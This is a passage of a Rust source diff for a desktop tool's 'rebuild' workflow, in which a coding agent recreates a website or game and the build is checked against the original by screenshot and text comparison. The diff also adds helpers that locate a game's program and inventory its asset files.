build. + let mut pages = vec![("start page".to_string(), String::new(), base.clone())]; + for r in routes(ws) { + let url = format!("{}{}", base.trim_end_matches('/'), r.path); + pages.push((r.path.clone(), format!("routes/{}", r.slug), url)); + } + let mut scores = Vec::new(); + let mut likeness = Vec::new(); + let mut notes = Vec::new(); + let mut artifacts = Vec::new(); + let mut unknowns = Vec::new(); + let mut claims = Vec::new(); + for (name, dir, url) in &pages { + let (original, built) = if dir.is_empty() { (ws.capture_dir(), out.clone()) } else { (ws.capture_dir().join(dir), out.join(dir)) }; + // web_site_capture creates the page's own folder (it must not exist yet) inside one + // that does. + if let Some(parent) = built.parent() { + std::fs::create_dir_all(parent).map_err(|e| ToolError::io(parent.display(), e))?; + } + cx.call("web_site_open", json!({"url": url, "settle_ms": 1200}))?; + cx.call("web_site_capture", json!({"output_directory": built.display().to_string(), "include_html": false, "widths": widths}))?; + let mut per_width = Vec::new(); + for &w in &widths { + let (a, b) = (original.join(format!("screenshot-{w}.png")), built.join(format!("screenshot-{w}.png"))); + match picture_likeness(cx, &a, &b)? { + Some((s, l, d, hb, ha)) => { + per_width.push((w, s, l, d, hb, ha)); + artifacts.extend(b.strip_prefix(&ws.root).ok().map(Path::to_path_buf)); + } + // A width the original was never pictured at is outside what was studied; + // one it was, that the build's picture can't be compared with, is unknown. + None if a.is_file() => unknowns.push(format!("{name} at {w} px couldn't be compared")), + None => {} + } + } + if per_width.is_empty() { + notes.push(format!("{name}: couldn't be compared")); + continue; + } + let score = per_width.iter().map(|p| p.1).sum::() / per_width.len() as f64; + scores.push(score); + likeness.push(PageLikeness { name: name.clone(), dir: dir.clone(), similarity: score }); + let widths = per_width + .iter() + .map(|(w, s, l, d, hb, ha)| format!("{w} px: {s:.0}% alike (layout {l:.0}%, detail {d:.0}%; page height {hb} vs {ha} px)")) + .collect::>() + .join("; "); + // The page's words, parts and measured design too: a build can look alike and still + // miss words, or get the padding, colours and fonts wrong at some width. + let page = if dir.is_empty() { "The start page".to_string() } else { name.clone() }; + let text = match (read_json(&original.join("capture.json")), read_json(&built.join("capture.json"))) { + (Some(o), Some(b)) => { + claims.extend(page_claims(&page, &o, &b)); + [text_likeness(&o, &b).map(|t| t.note()), structure_likeness(&o, &b).map(|s| s.note())] + .into_iter() + .flatten() + .chain(design_notes(&o, &b)) + .chain(health_notes(&o, &b)) + .map(|n| format!("; {n}")) + .collect::() + } + _ => String::new(), + }; + notes.push(if pages.len() == 1 { format!("{widths}{text}") } else { format!("{name}: {score:.0}% ({widths}{text})") }); + } + if scores.is_empty() { + return Ok(CheckResult::new(self.id(), round, false, "The build couldn't be compared with the original.")); + } + for dir in state_dirs(&ws.capture_dir()) { + notes.extend(states_note(cx, &base, &out, &dir, &mut unknowns, &mut claims)?); + } + let failed: Vec = claims.iter().filter(|c| !c.passed).map(|c| format!("{} ({})", c.title, c.detail)).collect(); + if !failed.is_empty() { + notes.push(format!("{} of {} claims don't hold yet: {}", failed.len(), claims.len(), failed.join("; "))); + } + if !unknowns.is_empty() { + notes.push(format!("not compared, so this can't pass yet: {}", unknowns.join(", "))); + } + let avg = scores.iter().sum::() / scores.len() as f64; + // One page needs no list; with several, each one's likeness is kept for the project page. + let pages = if likeness.len() > 1 { likeness } else { Vec::new() }; + Ok(CheckResult { similarity: Some(avg), artifacts, pages, unknowns, claims, ..CheckResult::new(self.id(), round, true, notes.join(" | ")) }) + } +} diff --git a/desktop/crates/ai/src/rebuild/locate.rs b/desktop/crates/ai/src/rebuild/locate.rs new file mode 100644 index 0000000..4d72ab9 --- /dev/null +++ b/desktop/crates/ai/src/rebuild/locate.rs @@ -0,0 +1,149 @@ +//! Finding what to study in a local target: the program behind a launcher, a game's own folder, +//! and a plain-words inventory of its files. + +use super::*; + +/// The folder whose files show how a picked game was made (beside a launcher, above bin/). +pub fn game_folder(path: &Path) -> Option { + locate(path, true).1 +} + +/// The game's own folder when the person picked one of its inner folders (Unreal's Engine/, a +/// Binaries/Win64, Content/Paks…): up to two levels, never further, so a pick can't widen to a +/// whole game library. +pub(super) fn game_root(picked: &Path) -> PathBuf { + const INNER: [&str; 8] = ["engine", "binaries", "win64", "win32", "content", "paks", "bin", "bin_win32"]; + let mut dir = picked.to_path_buf(); + for _ in 0..2 { + let name = dir.file_name().and_then(|n| n.to_str()).unwrap_or_default().to_ascii_lowercase(); + match dir.parent() { + Some(up) if INNER.contains(&name.as_str()) => dir = up.to_path_buf(), + _ => break, + } + } + dir +} + +/// What to study for a local target: the program itself (a launcher script points at it), and +/// the folder whose maps, pictures and sounds show how it looks (for launchers, and for games +/// when `game`). +pub(super) fn locate(path: &Path, game: bool) -> (PathBuf, Option) { + if path.is_dir() { + if game { + let root = game_root(path); + return (main_program(&root).unwrap_or_else(|| path.to_path_buf()), Some(root)); + } + return (path.to_path_buf(), None); + } + let dir = path.parent().unwrap_or(Path::new(".")).to_path_buf(); + let ext = path.extension().and_then(|e| e.to_str()).unwrap_or_default().to_ascii_lowercase(); + if ["bat", "cmd", "sh", "command", "ps1"].contains(&ext.as_str()) { + let program = script_program(path).or_else(|| main_program(&dir)).unwrap_or_else(|| path.to_path_buf()); + return (program, Some(dir)); + } + // A game's program often sits in bin/, bin_win32/ or Binaries/Win64; its content is above. + let mut root = dir; + for _ in 0..3 { + let name = root.file_name().and_then(|n| n.to_str()).unwrap_or_default().to_ascii_lowercase(); + match root.parent() { + Some(up) if name.starts_with("bin") || ["win64", "win32", "x64", "x86"].contains(&name.as_str()) => root = up.to_path_buf(), + _ => break, + } + } + (path.to_path_buf(), game.then_some(root)) +} + +/// The program a launcher script starts: the first word in it that names an existing file. +pub(super) fn script_program(script: &Path) -> Option { + let dir = script.parent()?; + let text = std::fs::read(script).ok()?; + let text = String::from_utf8_lossy(&text[..text.len().min(64 * 1024)]); + text.split(|c: char| c.is_whitespace() || c == '"' || c == '\'') + .map(|w| w.trim_start_matches("%~dp0").trim_start_matches("$(dirname \"$0\")/").trim_start_matches("./")) + .filter(|w| !w.is_empty() && !w.starts_with('-')) + .map(|w| dir.join(w.replace('\\', std::path::MAIN_SEPARATOR_STR))) + .find(|p| p.is_file() && p.as_path() != script && is_program(p)) +} + +/// The biggest program in a folder (3 levels deep), skipping installers, servers and helpers. +pub(super) fn main_program(dir: &Path) -> Option { + const SKIP: [&str; 8] = ["unins", "setup", "install", "crash", "redist", "server", "update", "helper"]; + let mut best: Option<(u64, PathBuf)> = None; + let mut stack = vec![(dir.to_path_buf(), 0)]; + while let Some((d, depth)) = stack.pop() { + for e in std::fs::read_dir(&d).into_iter().flatten().flatten() { + let p = e.path(); + if p.is_dir() { + if depth < 3 { + stack.push((p, depth + 1)); + } + continue; + } + let name = p.file_name().and_then(|n| n.to_str()).unwrap_or_default().to_ascii_lowercase(); + let size = e.metadata().map(|m| m.len()).unwrap_or(0); + if is_program(&p) && !SKIP.iter().any(|s| name.contains(s)) && best.as_ref().is_none_or(|(b, _)| size > *b) { + best = Some((size, p)); + } + } + } + best.map(|(_, p)| p) +} + +/// A plain-words list of a game folder's content (maps, pictures, models, sounds, settings), +/// with a few example paths each, so the builder knows what shapes the look and where to look. +pub(super) fn inventory(folder: &Path) -> String { + const KINDS: [(&str, &[&str]); 6] = [ + ("Maps and levels", &["cgz", "ogz", "bsp", "map", "tmx", "ldtk", "lvl", "wad", "umap", "level"]), + ("Textures and pictures", &["png", "jpg", "jpeg", "tga", "dds", "bmp", "ktx", "webp", "gif"]), + ("3D models", &["md2", "md3", "md5mesh", "iqm", "obj", "fbx", "gltf", "glb", "mdl", "dae", "3ds", "ply"]), + ("Sounds and music", &["ogg", "wav", "mp3", "flac", "opus"]), + ("Settings and scripts", &["cfg", "ini", "json", "lua", "xml", "yaml", "yml", "toml", "txt"]), + ("Read-me and licence files", &["md", "html", "htm", "rtf"]), + ]; + let mut found: Vec<(usize, u64, Vec)> = vec![(0, 0, Vec::new()); KINDS.len()]; + let mut stack = vec![(folder.to_path_buf(), 0)]; + let mut seen = 0usize; + // Bounded, so picking a huge folder can't stall the study. + while seen < 50_000 + && let Some((d, depth)) = stack.pop() + { + for e in std::fs::read_dir(&d).into_iter().flatten().flatten() { + seen += 1; + let p = e.path(); + if p.is_dir() { + if depth < 6 { + stack.push((p, depth + 1)); + } + continue; + } + let ext = p.extension().and_then(|x| x.to_str()).unwrap_or_default().to_ascii_lowercase(); + let stem = p.file_stem().and_then(|x| x.to_str()).unwrap_or_default().to_ascii_lowercase(); + // A licence.txt says what may be reused, so it goes with the licences, not settings. + let licence = ["licen", "copying", "readme"].iter().any(|w| stem.starts_with(w)); + let kind = if licence { Some(KINDS.len() - 1) } else { KINDS.iter().position(|(_, exts)| exts.contains(&ext.as_str())) }; + if let Some(i) = kind { + let f = &mut found[i]; + f.0 += 1; + f.1 += e.metadata().map(|m| m.len()).unwrap_or(0); + // Examples from different folders say more than ten files side by side. + if f.2.len() < 8 && !f.2.iter().any(|q| q.parent() == p.parent()) { + f.2.push(p); + } + } + } + } + let mut s = format!("\n## The game's own files\n\nFolder: {}\n\n", folder.display()); + for ((title, _), (count, bytes, examples)) in KINDS.iter().zip(&found) { + if *count == 0 { + continue; + } + s.push_str(&format!("- {title}: {count} files, {:.1} MB. For example:\n", *bytes as f64 / 1_048_576.0)); + for p in examples { + s.push_str(&format!(" - {}\n", p.strip_prefix(folder).unwrap_or(p).display())); + } + } + if found.iter().all(|f| f.0 == 0) { + s.push_str("No maps, pictures, models or sounds were found here.\n"); + } + s +} diff --git a/desktop/crates/ai/src/rebuild/mod.rs b/desktop/crates/ai/src/rebuild/mod.rs new file mode 100644 index 0000000..b9382ba --- /dev/null +++ b/desktop/crates/ai/src/rebuild/mod.rs @@ -0,0 +1,955 @@ +//! The rebuild workflow: study a target, have a coding agent build it in the workspace's `app/` +//! folder, check the build against the target, and refine — asking the person when needed. +//! +//! ```text +//! Study website: web_site_open + web_site_capture → capture/ (screenshots, blueprint, HTML) +//! local: triage (+ app graph for JS apps) → capture/README.md +//! Build the coding agent (an agent CLI such as Claude Code) works in the workspace with our +//! MCP server; edits outside app/ and unusual commands ask the person (core_action_approve), +//! questions arrive as cards (core_person_ask). Both go through the workspace inbox. +//! Check website: serve app/dist on loopback, capture it the same way, compare screenshots +//! (layout similarity per width). Other stacks: the build must succeed. +//! Refine measured differences go back to the agent, up to `max_rounds`. +//! ``` +//! +//! Everything runs on one worker thread; the UI drains [`RunEvent`]s with [`RebuildRun::poll`]. +//! +//! Modules: `kinds` (what is made: [`TargetKind`]s and [`Check`]s), `study`, `brief` (the builder's prompts), `check`, +//! `locate` (what to study in a local target) and `output` (what a build produced). + +use crate::cli_agents::{Builder, CliSpec}; +use crate::{AgentEvent, AiHub, BackendKind, Conversation, Role}; +use craft_anything_engine::inbox::{Answer, Inbox, InboxDir, Request}; +use craft_anything_engine::project::{Project, Purpose}; +use craft_anything_engine::workspace::{CheckResult, ProjectUsage, Status, TargetRef, Workspace}; +use craft_anything_engine::{CallOptions, Caller, CancelToken, Engine, ToolOutput}; +use craft_anything_engines::game; +use craft_anything_evidence::{ErrorCode, ToolError}; +pub use craft_anything_platform::serve::StaticServer; +use craft_anything_platform::serve::serve_dir; +use craft_anything_platform::sync::Mutex; +use serde_json::{Value, json}; +use std::collections::HashSet; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicBool, AtomicU64, Ordering}; +use std::sync::mpsc::{Receiver, Sender}; +use std::sync::{Arc, PoisonError}; +use std::time::{Duration, Instant}; + +pub mod activity; +mod brief; +mod check; +pub mod feed; +pub mod kinds; +mod locate; +pub mod notes; +mod output; +pub mod project; +pub mod question; +pub mod runs; +pub mod self_check; +pub mod stacks; +pub mod stand_in; +mod study; +#[cfg(test)] +mod tests; +pub mod tools; + +use brief::*; +pub use kinds::{ + AppKind, BriefCx, BuildCheck, Check, CheckCx, DetectCx, GameKind, KindRegistry, KindWords, MechanicsCheck, TargetKind, WebVisualCheck, WebsiteKind, +}; +pub use locate::game_folder; +use locate::*; +use output::*; +pub use output::{built_program, launch, site_dir}; +pub use runs::{RunSet, Started, Stopped, keep_queue_moving}; +pub use stand_in::StandIns; + +pub use craft_anything_engine::workspace::Step; + +/// What the UI shows, in order. +#[derive(Debug, Clone, PartialEq)] +pub enum RunEvent { + /// A stage started (with a plain-words line on what's happening). + Step { step: Step, text: String }, + /// Something from the coding agent (text, tool calls, errors). + Agent(AgentEvent), + /// A note the person added while it worked, now read by the agent (as the feed shows it). + Note(String), + /// A question or approval waiting for the person. + Ask(Request), + /// A check finished. + Checked(CheckResult), + /// The build can be previewed here. + Preview(String), + Finished { + ok: bool, + message: String, + /// The person paused it: not a failure. + paused: bool, + }, +} + +/// Called after each event a run sends, so a window draws it at once instead of checking on a +/// timer. +#[derive(Clone, Default)] +pub struct Wake(Option>); + +impl Wake { + pub fn new(f: impl Fn() + Send + Sync + 'static) -> Wake { + Wake(Some(Arc::new(f))) + } + + fn call(&self) { + if let Some(f) = &self.0 { + f(); + } + } +} + +impl std::fmt::Debug for Wake { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.write_str(if self.0.is_some() { "Wake(set)" } else { "Wake(none)" }) + } +} + +/// Options for one run. +#[derive(Debug, Clone)] +pub struct RunOptions { + /// The agent backend by name; `None` picks the Builder role, else the first agent app. + pub backend: Option, + /// A follow-up request on an existing build (skips Study). + pub message: Option, + /// How the person's message is shown in the project's feed (it can differ from `message`, + /// which carries attachment paths). `None` adds nothing to the feed. + pub shown: Option, + /// Pick up a build whose last run stopped part-way (paused, the app closed, the computer + /// stopped): Study isn't repeated when it was done, and an agent with a saved session is + /// told to carry on rather than given the brief again. A run with no message on a project + /// whose builder has already worked does the same, so "Try again" never starts over. + pub continuing: bool, + /// Refinement rounds after the first build (each fixes what the last check found). + pub max_rounds: u32, + /// Stop refining once the build looks at least this alike (percent). + pub good_enough: f64, + pub beginner: bool, + /// The kinds of thing this run can make (website, app, game, and any a fork registers). + pub kinds: KindRegistry, + /// How each coding agent is driven (Claude Code, Codex, Gemini CLI, and any a fork registers). + pub adapters: crate::cli_agents::AgentAdapters, + /// Told after each event (the app repaints). + pub wake: Wake, +} + +impl Default for RunOptions { + fn default() -> Self { + RunOptions { + backend: None, + message: None, + shown: None, + continuing: false, + max_rounds: 6, + good_enough: 90.0, + beginner: true, + kinds: KindRegistry::built_in(), + adapters: Default::default(), + wake: Wake::default(), + } + } +} + +/// Something the person added while a run works, until the agent reads it. +#[derive(Debug, Clone, PartialEq)] +pub struct Note { + /// Unique in this process, so the app can take a note back. + pub id: u64, + /// What the agent reads. + pub text: String, + /// How it appears in the project's feed. + pub shown: String, +} + +/// A running (or finished) rebuild. +pub struct RebuildRun { + rx: Receiver, + stop: CancelToken, + inbox: Inbox, + running: Arc, + preview: Arc>>, + /// What the person added while it works; the agent reads them at its next step. + notes: Arc>>, + /// The project's conversation, kept in its folder. + feed: Arc>, + pub root: PathBuf, + started: Instant, + activity: Arc, +} + +impl RebuildRun { + /// Start a run on a worker thread. Fails fast (before any work) when no coding agent is set up. + pub fn start(hub: &AiHub, ws: Workspace, opts: RunOptions) -> Result { + let cfg = hub.config(); + let entry = builder_backend(&cfg, opts.backend.as_deref().or_else(|| project_builder(&cfg, &ws)))?; + // An API backend builds with our own agent loop and the Build tools; its conversation is + // kept in the project and continued by follow-ups (a fresh build starts a new one). + let api = match entry.config.kind { + BackendKind::AgentCli => None, + _ => { + if opts.message.is_none() || !ws.capture_dir().exists() { + let _ = std::fs::remove_file(ws.transcript_path()); + } + Some(hub.start_builder(&entry, opts.beginner, Some(ws.transcript_path()))?) + } + }; + // A chosen extractor (an API backend, e.g. Kimi K3) takes a game's files out after a fresh + // study; the run only uses it in Deep mode on a game (see Worker::extract). + let fresh = opts.message.is_none() || !ws.capture_dir().exists(); + let extractor = match hub.chosen(Role::Extractor).and_then(|n| hub.config().get(&n).cloned()) { + Some(e) if fresh && e.config.kind != BackendKind::AgentCli => { + let _ = std::fs::remove_file(ws.root.join(EXTRACT_TRANSCRIPT)); + Some((e.config.name.clone(), hub.start_extractor(&e, opts.beginner, Some(ws.root.join(EXTRACT_TRANSCRIPT)))?)) + } + _ => None, + }; + let (tx, rx) = std::sync::mpsc::channel(); + let stop = CancelToken::default(); + let running = Arc::new(AtomicBool::new(true)); + let preview: Arc>> = Arc::default(); + let notes: Arc>> = Arc::default(); + let inbox = Inbox::new(ws.inbox_dir()); + // Notes left by an earlier run would be handed over again (ids restart with the process); + // cleared before the app can add any to this one. + notes::clear(¬es::notes_dir(&ws.inbox_dir())); + let root = ws.root.clone(); + // The project's conversation: the run keeps it in the folder as it goes. + let feed = Arc::new(Mutex::new(feed::FeedLog::open(&ws))); + if let Some(shown) = opts.shown.clone() { + feed.lock().unwrap_or_else(PoisonError::into_inner).push(feed::FeedItem::User(shown)); + } + let ctx = Worker { + wake: opts.wake.clone(), + engine: hub.engine.clone(), + tx, + stop: stop.clone(), + preview: preview.clone(), + seen: HashSet::new(), + inbox: inbox.clone(), + editor: None, + notes: notes.clone(), + feed: feed.clone(), + assets: hub.has_asset_keys(), + decompiled: false, + usage: Some(UsageClock { root: root.clone(), since: Instant::now() }), + self_check: None, + }; + let r2 = running.clone(); + std::thread::Builder::new() + .name("rebuild".into()) + .spawn(move || { + let mut ctx = ctx; + let mut ws = ws; + // A clone can run for hours: keep the computer from sleeping until it ends. + let _awake = craft_anything_platform::keep_awake(); + let _here = self_check::BuildingHere::new(&ws.root); + let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| ctx.run(&mut ws, entry, api, extractor, &opts))); + let (ok, message, paused) = match result { + Ok(Ok(m)) => (true, m, false), + Ok(Err(e)) if e.code == ErrorCode::Cancelled => { + let _ = ws.set_status(Status::Stopped, "Paused. Send a message to continue."); + (false, "Paused.".to_string(), true) + } + Ok(Err(e)) => { + let msg = e.for_people(); + let _ = ws.set_status(Status::NeedsYou, msg.clone()); + (false, msg, false) + } + Err(_) => (false, "The workflow hit a bug and stopped safely. Your files are untouched.".to_string(), false), + }; + ctx.record_usage(None); + ctx.emit(RunEvent::Finished { ok, message, paused }); + r2.store(false, Ordering::SeqCst); + }) + .map_err(|e| ToolError::internal(e.to_string()))?; + let activity = feed.lock().unwrap_or_else(PoisonError::into_inner).activity(); + Ok(RebuildRun { rx, stop, inbox, running, preview, notes, feed, root, started: Instant::now(), activity }) + } + + /// Add something while it works; the agent reads it at its next step, and only then does it + /// join the feed (as `shown`). Returns its id, to take it back with `unsend` until then. + pub fn add_note(&self, text: String, shown: String) -> u64 { + static NEXT: AtomicU64 = AtomicU64::new(1); + let id = NEXT.fetch_add(1, Ordering::Relaxed); + // Also left for an agent that takes notes at its next step; without it, after the turn. + if let Err(e) = notes::hand_over(¬es::notes_dir(self.inbox.dir()), id, &text) { + log::warn!("A note waits for the builder's turn to end: {}", e.message); + } + self.notes.lock().unwrap_or_else(PoisonError::into_inner).push(Note { id, text, shown }); + id + } + + /// The notes still waiting for the agent, oldest first. + pub fn waiting(&self) -> Vec { + self.notes.lock().unwrap_or_else(PoisonError::into_inner).clone() + } + + /// Take back a note the agent hasn't read yet; `None` once it has. + pub fn unsend(&self, id: u64) -> Option { + let mut notes = self.notes.lock().unwrap_or_else(PoisonError::into_inner); + let i = notes.iter().position(|n| n.id == id)?; + let dir = notes::notes_dir(self.inbox.dir()); + // Taking its file back first means the agent can't claim it after this. + if !notes::take_back(&dir, id) && notes::was_read(&dir, id) { + return None; + } + Some(notes.remove(i)) + } + + /// How many notes are still waiting for the agent. + pub fn queued(&self) -> usize { + self.notes.lock().unwrap_or_else(PoisonError::into_inner).len() + } + + /// Notes the agent never got to (the run ended first), to send as the next message. + pub fn take_notes(&self) -> Vec { + std::mem::take(&mut *self.notes.lock().unwrap_or_else(PoisonError::into_inner)) + } + + pub fn poll(&mut self) -> Vec { + self.rx.try_iter().collect() + } + + /// The project's conversation as the run has it now, for showing a project that is already + /// building. Events not yet polled are in it, so they're dropped from the queue. + pub fn feed_now(&mut self) -> Vec { + let feed = self.feed.lock().unwrap_or_else(PoisonError::into_inner); + while self.rx.try_recv().is_ok() {} + feed.items().to_vec() + } + + /// Answer a question or approval card. + pub fn answer(&self, id: &str, answer: &Answer) -> Result<(), ToolError> { + self.answer_as(id, answer, &answer.as_text()) + } + + /// Answer a card; `shown` is how the answer appears in the project's feed. + pub fn answer_as(&self, id: &str, answer: &Answer, shown: &str) -> Result<(), ToolError> { + self.inbox.answer(id, answer)?; + self.feed.lock().unwrap_or_else(PoisonError::into_inner).answered(id, shown); + Ok(()) + } + + pub fn stop(&self) { + self.stop.cancel(); + } + + pub fn is_running(&self) -> bool { + self.running.load(Ordering::SeqCst) + } + + /// When it began working (a queued run begins when its turn comes). + pub fn started(&self) -> Instant { + self.started + } + + /// How long since the run last had anything to say. Cheap: safe to read while drawing. + pub fn quiet_for(&self) -> Duration { + self.activity.quiet_for() + } + + /// What it's on now. Cheap: safe to read while drawing. + pub fn activity_now(&self) -> activity::ActivityNow { + self.activity.now() + } + + /// How many lines of its activity are at hand for [`RebuildRun::activity_lines`]. + pub fn activity_len(&self) -> usize { + self.activity.len() + } + + /// Some of its latest activity. Cheap: safe to read while drawing. + pub fn activity_lines(&self, range: std::ops::Range) -> Vec { + self.activity.lines_in(range) + } + + /// The file with all of it. + pub fn activity_log(&self) -> PathBuf { + self.root.join(craft_anything_engine::workspace::ACTIVITY_LOG) + } + + pub fn preview_url(&self) -> Option { + self.preview.lock().unwrap_or_else(PoisonError::into_inner).as_ref().map(StaticServer::url) + } +} + +impl Drop for RebuildRun { + fn drop(&mut self) { + self.stop.cancel(); + } +} + +/// Serve a workspace's built site for previewing (without running the workflow). +pub fn preview(ws: &Workspace) -> Result { + let site = site_dir(&ws.app_dir()).ok_or_else(|| { + ToolError::new(ErrorCode::NotFound, "There's no built website to show yet.").with_remediation("Ask for a rebuild, or open the project folder.") + })?; + serve_dir(&site).map_err(|e| ToolError::io(site.display(), e)) +} + +struct Worker { + /// Told after each event. + wake: Wake, + engine: Arc, + tx: Sender, + stop: CancelToken, + preview: Arc>>, + seen: HashSet, + inbox: Inbox, + /// The game engine's editor for this run (Unity, Unreal or Godot stacks). + editor: Option, + notes: Arc>>, + feed: Arc>, + /// An asset provider's key is set up, so the builder can generate pictures and 3D models if the + /// project allows it. + assets: bool, + /// The builder has decompiled something this run (Deep mode requires it). + decompiled: bool, + /// Where this run adds its working time, tokens and cost (`None` in tests that don't build). + usage: Option, + /// The kind and bar the builder's own checks (`rebuild_check`) are judged by, once known. + self_check: Option<(Arc, f64)>, +} + +/// The project a run records its usage in, and when it last did. +struct UsageClock { + root: PathBuf, + since: Instant, +} + +/// How often a long agent turn saves the time worked so far, so a crash loses little of it. +const USAGE_FLUSH: Duration = Duration::from_secs(60); + +impl Worker { + /// Add the time worked since the last record (and an agent turn's tokens and reported cost) + /// to the project's usage.json. The run is its only writer; a failure is logged and the build + /// carries on. + fn record_usage(&mut self, turn: Option<(u64, u64, Option, bool)>) { + let Some(clock) = self.usage.as_mut() else { return }; + let ms = u64::try_from(clock.since.elapsed().as_millis()).unwrap_or(u64::MAX); + clock.since = Instant::now(); + let saved = ProjectUsage::update(&clock.root, |u| { + u.work_ms = u.work_ms.saturating_add(ms); + if let Some((input, output, cost, estimate)) = turn { + u.add_turn(input, output, cost, estimate); + } + }); + if let Err(e) = saved { + log::warn!("Couldn't save the project's usage in {}: {}", clock.root.display(), e.message); + } + } + + /// Recorded and sent under one lock, so [`RebuildRun::feed_now`] sees each event once. + fn emit(&self, e: RunEvent) { + let mut feed = self.feed.lock().unwrap_or_else(PoisonError::into_inner); + feed.record(&e); + let _ = self.tx.send(e); + drop(feed); + self.wake.call(); + } + + fn step(&self, ws: &mut Workspace, step: Step, status: Status, text: &str) -> Result<(), ToolError> { + self.stop.check()?; + ws.set_status(status, text)?; + self.emit(RunEvent::Step { step, text: text.to_string() }); + Ok(()) + } + + fn call(&self, tool: &str, params: Value) -> Result { + self.stop.check()?; + // The person started this run for this target, which is the consent for opening it. + let opts = CallOptions::new(Caller::Ui).with_consent(craft_anything_engine::Consent::Granted).with_cancel(self.stop.clone()); + // Said as it happens, so a long step shows what it's doing and the feed counts it. + let call_id = format!("run-{tool}"); + self.emit(RunEvent::Agent(AgentEvent::ToolStarted { call_id: call_id.clone(), tool: tool.to_string(), input: Value::Null })); + let result = self.engine.call(tool, params, opts); + self.emit(RunEvent::Agent(AgentEvent::ToolFinished { call_id, tool: tool.to_string(), ok: result.is_ok(), summary: String::new(), evidence_id: None })); + result + } + + /// Point the engine at this workspace: its investigation project and inbox. + fn attach(&self, ws: &Workspace) -> Result<(), ToolError> { + let dir = ws.investigation_dir(); + let project = Project::open(&dir).or_else(|_| Project::create(&dir, &ws.manifest.name, Purpose::default()))?; + let mut s = self.engine.session(); + s.open_project(project)?; + s.ext.insert(Arc::new(InboxDir(ws.inbox_dir()))); + Ok(()) + } + + /// The prompt for notes the person added while the agent worked, if there are any. + fn added(&self, ws: &mut Workspace) -> Option { + let notes = std::mem::take(&mut *self.notes.lock().unwrap_or_else(PoisonError::into_inner)); + if notes.is_empty() { + return None; + } + // They go in this message, so no hook hands them over again. + let dir = notes::notes_dir(&ws.inbox_dir()); + for n in ¬es { + notes::forget(&dir, n.id); + } + for n in ¬es { + self.emit(RunEvent::Note(n.shown.clone())); + } + // A cancelled step can't be reported, but the notes go in either way. + let _ = self.step(ws, Step::Build, Status::Building, "Reading what you added…"); + let texts: Vec = notes.into_iter().map(|n| n.text).collect(); + Some(added_prompt(&texts) + &pictures_reminder(ws)) + } + + /// Decides an ACP builder's permission requests with the same policy Claude Code's approval + /// tool uses: allowed, refused, or asked of the person through this project's inbox. + fn approver(&self, ws: &Workspace) -> crate::cli_agents::acp::Approver { + let inbox = ws.inbox_dir(); + let (auto_mode, clean_room) = { + let s = self.engine.session(); + (s.settings.auto_mode, s.clean_room()) + }; + let stop = self.stop.clone(); + Arc::new(move |tool: &str, input: &Value| { + let r = craft_anything_engine::tools::interaction_tools::approve_with( + Some(Inbox::new(inbox.clone())), + auto_mode, + clean_room, + tool, + input, + &|| stop.is_cancelled(), + &mut || {}, + ); + matches!(r, Ok(Ok(()))) + }) + } + + /// The editor for a game-engine stack. An engine that isn't ready stops the run before any + /// work, with the way to get it. + fn find_editor(&self, stack: &str) -> Result, ToolError> { + let Some(b) = game::Builder::from_stack(stack).filter(|b| *b != game::Builder::Rust) else { return Ok(None) }; + let store = self.engine.session().settings.engine_store_dir(); + let inv = game::inventory(&game::Places::here(store)); + match inv.best(b) { + Some(i) if inv.ready(b) => Ok(Some(i.program.clone())), + _ => Err(ToolError::new(ErrorCode::BadSettings, format!("{} isn't ready on this computer yet.", b.name())).with_remediation( + "Get it (Settings → Engines in the app), or pick another engine (\"Build with\" in the app, --build-with in the CLI) and start again.", + )), + } + } + + /// How the builder's agent runs. Reads the session once: a lock taken twice in one statement + /// is held by the first until the statement ends, and the second then waits forever. + fn agent_spec(&self, ws: &Workspace, entry: &crate::BackendEntry, opts: &RunOptions) -> CliSpec { + let (deep, config_dir) = { + let session = self.engine.session(); + (!session.clean_room(), session.config_dir()) + }; + CliSpec { + builder: Some(Builder { investigation: Some(ws.investigation_dir()), inbox: ws.inbox_dir() }), + deep, + logs: Some(crate::failure_log::dir_in(&config_dir)), + resume: ws.manifest.agent_session.clone(), + preamble: Some( + "You work inside REI Reverse Engineer for a person who doesn't code. The message below is your task. + +" + .into(), + ), + adapters: opts.adapters.clone(), + ..CliSpec::new(entry.config.clone(), entry.options.clone(), opts.beginner, Some(ws.root.clone())) + } + } + + fn run( + &mut self, + ws: &mut Workspace, + entry: crate::BackendEntry, + api: Option, + extractor: Option<(String, crate::agent::ApiConversation)>, + opts: &RunOptions, + ) -> Result { + // Fail before any work when the agent's tools are missing or it can't sign in. + let remote = entry.config.ssh_host.as_deref().is_some_and(|h| !h.trim().is_empty()); + if !remote && api.is_none() { + let adapter = opts.adapters.for_agent(&entry.config.model); + crate::cli_agents::check_builder_tools(adapter.as_ref(), &entry.config.model, &entry.options, &self.stop)?; + let program = entry.options.command.clone().unwrap_or_else(|| crate::cli_agents::program_for(&entry.config.model)); + if adapter.signed_in(&program) == Some(false) { + let who = crate::cli_agents::display_for(&entry.config.model); + return Err(ToolError::new(ErrorCode::BadSettings, format!("{who} isn't signed in on this computer.")) + .with_remediation(adapter.sign_in_fix().unwrap_or_default())); + } + } + self.attach(ws)?; + std::fs::create_dir_all(ws.app_dir()).map_err(|e| ToolError::io(ws.app_dir().display(), e))?; + let no_kind = || { + ToolError::new(ErrorCode::BadSettings, "No kind of project matches this request.") + .with_remediation("Describe what to make: a website, an app or a game.") + }; + if ws.manifest.stack.is_empty() { + let deep = !self.engine.session().clean_room(); + let (_, stack) = opts.kinds.choose(&ws.manifest.request, &ws.manifest.target, deep).ok_or_else(no_kind)?; + ws.manifest.stack = stack.to_string(); + ws.save()?; + } + let kind = opts.kinds.detect(&ws.manifest.request, &ws.manifest.target, &ws.manifest.stack).ok_or_else(no_kind)?; + self.self_check = Some((kind.clone(), opts.good_enough)); + let kind = kind.as_ref(); + self.editor = self.find_editor(&ws.manifest.stack)?; + let carrying_on = opts.continuing || (opts.message.is_none() && ws.builder_started()); + let first = (opts.message.is_none() && !carrying_on) || !ws.capture_dir().exists(); + if first { + self.study(ws, kind)?; + if let Some((name, ex)) = extractor { + self.extract(ws, kind, &name, ex)?; + } + } + // A coding agent resumes its own session; our loop resumes its kept transcript. + let resumable = api.as_ref().is_none_or(crate::agent::ApiConversation::resumed); + let api_loop = api.is_some(); + // A coding agent that never saved a session starts over, so it needs the brief. + let has_history = resumable && (api_loop || 